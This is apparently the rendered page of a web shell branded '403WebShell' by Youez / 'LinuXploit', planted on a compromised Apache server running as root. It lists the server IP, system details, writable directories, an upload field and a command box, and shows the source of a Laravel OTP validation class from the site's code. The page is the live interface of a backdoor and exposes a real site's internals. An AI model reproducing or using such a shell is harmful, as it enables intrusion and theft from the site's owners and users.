Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Http/Requests/WebService/UserRequests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Http/Requests/WebService/UserRequests/VerifyOTPRequest.php
<?php

namespace App\Http\Requests\WebService\UserRequests;

use Illuminate\Foundation\Http\FormRequest;

class VerifyOTPRequest extends FormRequest
{
    protected $stopOnFirstFailure = true;
    /**
     * Determine if the user is authorized to make this request.
     */
    public function authorize(): bool
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array<string, \Illuminate\Contracts\Validation\ValidationRule|array<mixed>|string>
     */
    public function rules(): array
    {
        return [
            'mobile_number' => 'required',
            'dial_code' => 'required',
            'country_code' => 'required|string',
            'otp' => 'required',
        ];
    }




    public function attributes()
    {
        return [
            'mobile_number' => trans('messages.MOBILE_NUMBER'),
            'dial_code' => trans('messages.DIAL_CODE'),
            'country_code' => trans('messages.COUNTRY_CODE'),
            'otp' => trans('message.OTP'),
        ];
    }

    public function messages()
    {
        return [

            'mobile_number.required' => trans('messages.MOBILE_NUMBER_REQUIRED'),
            'mobile_number.digits' => trans('messages.MOBILE_NUMBER_DIGITS'),
            'mobile_number.unique' => trans('messages.MOBILE_NUMBER_ALREADY_TAKEN'),

            'dial_code.required' => trans('messages.DIAL_CODE_REQUIRED'),

            'country_code.string' => trans('messages.COUNTRY_CODE_STRING'),
            'country_code.size'   => trans('messages.COUNTRY_CODE_SIZE'),

            'otp.required' => trans('messages.OTP_REQUIRED'),
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit